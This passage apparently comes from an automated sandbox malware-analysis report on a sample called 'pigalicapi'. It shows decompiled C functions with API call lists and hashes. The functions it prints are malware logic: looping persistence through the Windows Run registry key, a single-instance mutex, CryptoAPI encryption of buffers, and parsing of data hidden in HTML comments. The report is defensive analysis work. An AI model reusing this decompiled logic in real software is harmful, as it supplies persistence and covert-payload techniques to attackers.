					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E040016F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: 1c3b7df952a912c4f86c12ad70d9a091debb45511137cc5b62942badbf1a5776
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: 7021EC75A00208FBEB64DFA4DC49BAE77B5EB48705F108659F615BB2C0C778AA80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04005B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E04007B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005B7F
lstrlenA.KERNEL32(00000000), ref: 04005B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 04005C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005C9E

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction ID: 5a59fe48962482dc997a37d5c0ed7d0013e253906576cb4b19edba68c8a08fb2
Opcode Fuzzy Hash: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction Fuzzy Hash: D451C774904209EFEB04CF94C998BEEBBB5EF48305F148559E505B7284D379AA80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04006CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04006CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0x40118a0; // 0x4013b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0x4011890; // 0x4013fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0x4011890; // 0x4013fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16);
				}
				return _v5;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Strings

, xrefs: 04006D3A

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: 88112219bc8656018e8fd12fe99521312711d887651bf4d09d45951e100356d5
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: DE114275D04208AFEB04DFE0D848BBEBBB8FB48304F148158EA00BB280D77D5A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04008370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E04008800(_v16,  &_v24, _v12,  &_v20, 0x4013378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E04008770(_t170, 0xa);
								_v36 = E040087D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E04007B70(_v32, _a4, _a8);
									_t94 = E04008970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E040085D0( &_v48,  &_v40, 4);
										E040085D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E040085D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E040085D0( &_v48,  &_v20, 4);
										E040085D0( &_v48, _v12, _v20);
										E04008650(_v36, _v52, _v48 - _v52, _v36);
										E040085D0( &_v48, _v32, _v44);
										 *_v56 = E040016F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400846B

Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
Part of subcall function 04008970: GetLastError.KERNEL32 ref: 040089C9
Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
Part of subcall function 04008970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
Part of subcall function 04008970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
Part of subcall function 04008970: CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
Part of subcall function 04008970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085BA

Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
Part of subcall function 04008800: GetLastError.KERNEL32 ref: 04008845
Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
Part of subcall function 04008800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
Part of subcall function 04008800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
Part of subcall function 04008800: CryptDestroyKey.ADVAPI32(?), ref: 04008937

Part of subcall function 040087D0: QueryPerformanceCounter.KERNEL32(?), ref: 040087E7

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction ID: 75e4ec9ffd75ad85335d37f2dbfda6536f989acb89096578b4a6032df118288e
Opcode Fuzzy Hash: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction Fuzzy Hash: A0711CB6D00208ABEB14EFA4D845FEEB7B4BB48305F14C519EA15B72C0E774EA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040012D0 Relevance: 7.6, APIs: 5, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040012D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0x4014370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24);
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,0400C248,00000000,000F003F,00000000), ref: 04001337
lstrlenA.KERNEL32(?), ref: 04001345
RegSetValueExA.KERNELBASE(00000000,-00000208,00000000,00000001,?,?), ref: 04001368
RegCloseKey.ADVAPI32(00000000), ref: 04001372
Sleep.KERNEL32(00001388), ref: 0400137D

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 889d750eda8961b126f00a9021e235014b30ece64fb5bfebafecfaf2f158f27d
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: 12210070A04309EBEB04CFE4C949BAEB7B4FB44301F108258E641BB280D779AE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 100021A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 100021F9
SetLastError.KERNEL32(0000007E), ref: 1000223B

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction ID: c08fe1bd30c15a7bb6e8476d185febfb1ca0f6f7539b963f039c2b10503cc3e6
Opcode Fuzzy Hash: 85b49708b7b006b8dd60775e5bc00b257713ffe4475079b25aab955e2dacc848
Instruction Fuzzy Hash: CB818574A00209EFDB04CF94C890B9EBBB5FF88354F248198E959AB355D774EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04005E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x04005e0c
0x04005e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

Strings

pigalicapi, xrefs: 04005E03

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction ID: c9a096dff23d34124f73a3e8575822b5ba186ec69b5811b6053c60030017a183
Opcode Fuzzy Hash: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction Fuzzy Hash: FAC08C362883186BF2081B61ED4BB893A88C792E81F600030F30AEA0D0999968C08B16

Uniqueness

Uniqueness Score: -1.00%

Function 04008250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0x400c700; // 0x0
						_v28 = _t63;
						_t51 = E04007AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E04008090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 04008300

Part of subcall function 04008090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8

Strings

-->, xrefs: 040082F0
<!--, xrefs: 040082B1

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction ID: 33a7bc7995a4c535701f75233fb1c46eed47e0fb0959c3fa2371b97aa1c284c8
Opcode Fuzzy Hash: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction Fuzzy Hash: 23311971900249DFEF04EFA8C544BEEBBB1BB88308F14C959D505B7281E774AA84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040216C Relevance: 4.6, APIs: 3, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0040216C(void* __edx, char _a4) {
				void* _v20;
				signed short _v52;
				signed char _v56;
				char _v100;
				signed int _v116;
				intOrPtr _v120;
				struct HINSTANCE__* _v124;
				void* _t13;
				struct HINSTANCE__* _t17;
				void* _t18;
				intOrPtr _t19;
				intOrPtr* _t21;
				struct _STARTUPINFOA* _t23;
				void* _t25;
				signed int _t27;
				signed int _t32;
				struct HINSTANCE__** _t34;

				_t25 = __edx;
				_t23 =  &_a4;
				_push( *((intOrPtr*)(_t23 - 4)));
				_t34 = (_t32 & 0xfffffff0) - 0x6c;
				E00402148(_t13);
				_t21 = GetCommandLineA();
				 *_t34 =  &_v100;
				GetStartupInfoA(_t23);
				_push(_t23);
				if(_t21 != 0) {
					while(1) {
						_t19 =  *_t21;
						if(_t19 != 0x20 && _t19 != 9) {
							break;
						}
						_t21 = _t21 + 1;
					}
					if(_t19 != 0x22) {
						while(_t19 != 0) {
							_t21 = _t21 + 1;
							_t19 =  *_t21;
							if(_t19 == 0x20) {
								_t19 = 0x20;
							} else {
								if(_t19 == 9) {
									_t19 = 9;
								} else {
									continue;
								}
							}
							goto L15;
						}
					} else {
						while(1) {
							_t21 = _t21 + 1;
							_t19 =  *_t21;
							if(_t19 == 0x22) {
								break;
							}
							if(_t19 != 0) {
								continue;
							}
							goto L15;
						}
						L14:
						_t21 = _t21 + 1;
						_t19 =  *_t21;
					}
					L15:
					if(_t19 == 0x20 || _t19 == 9) {
						goto L14;
					}
				}
				if((_v56 & 0x00000001) == 0) {
					_t27 = 0xa;
				} else {
					_t27 = _v52 & 0x0000ffff;
				}
				 *_t34 = 0;
				_t17 = GetModuleHandleA(??);
				_push(_t25);
				_v116 = _t27;
				_v120 = _t21;
				_v124 = 0;
				 *_t34 = _t17; // executed
				_t18 = E004015A6(); // executed
				return _t18;
			}

APIs

GetCommandLineA.KERNEL32 ref: 00402184
GetStartupInfoA.KERNEL32 ref: 00402191
GetModuleHandleA.KERNEL32 ref: 004021F0

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: CommandHandleInfoLineModuleStartup
String ID:
API String ID: 1628297973-0
Opcode ID: dea9fb60a0e8c7139b7ad21b8fadcfed2fa973cf111aefb73716ac7d3e57f3bb
Instruction ID: a58904cd742006e8efc07750f74eda1fc12795c36ac70e21e41bb3de5e0fdb65
Opcode Fuzzy Hash: dea9fb60a0e8c7139b7ad21b8fadcfed2fa973cf111aefb73716ac7d3e57f3bb
Instruction Fuzzy Hash: 15112B3580424499DF251BA98B8D3AABBA0AB17304F94417BDEE03F2C5D2FC0883D65F

Uniqueness

Uniqueness Score: -1.00%

Function 0400A400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400A400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x0400a406
0x0400a411
0x0400a429
0x0400a439
0x0400a43b
0x0400a43b
0x0400a442
0x0400a45c
0x0400a464
0x0400a469
0x0400a480
0x0400a488
0x0400a48d
0x0400a48d
0x0400a494
0x0400a494
0x0400a464
0x0400a4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
RegCloseKey.KERNEL32(00000000), ref: 0400A494

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction ID: 715db8aa4ed00a9f1925e7802d1785fb3623660146ed6b0049a8ef53f9c2d8f0
Opcode Fuzzy Hash: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction Fuzzy Hash: 70110D74A00309EBEB15CF94C848BEF77B8FB84744F14C558E914AB680D7B8AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 004019EF Relevance: 4.5, APIs: 3, Instructions: 47COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32 ref: 00401A7B

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: dce17d3ab1834a14d6dd11c000d5e6f7c04496a4c416f1c2b268dd238bca021c
Instruction ID: 1be99baf301fddce28c76e53022f88f5968e2be15515bd70b970bf4d0b2c5684
Opcode Fuzzy Hash: dce17d3ab1834a14d6dd11c000d5e6f7c04496a4c416f1c2b268dd238bca021c
Instruction Fuzzy Hash: 66010C7070A2048BEB11AE6CC18536E76A5FB04744F10483BF886E73E1D2BCD9819F9B

Uniqueness

Uniqueness Score: -1.00%

Function 04008090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E04001390(_v12, _a4, _v16, _v12, _v16); // executed
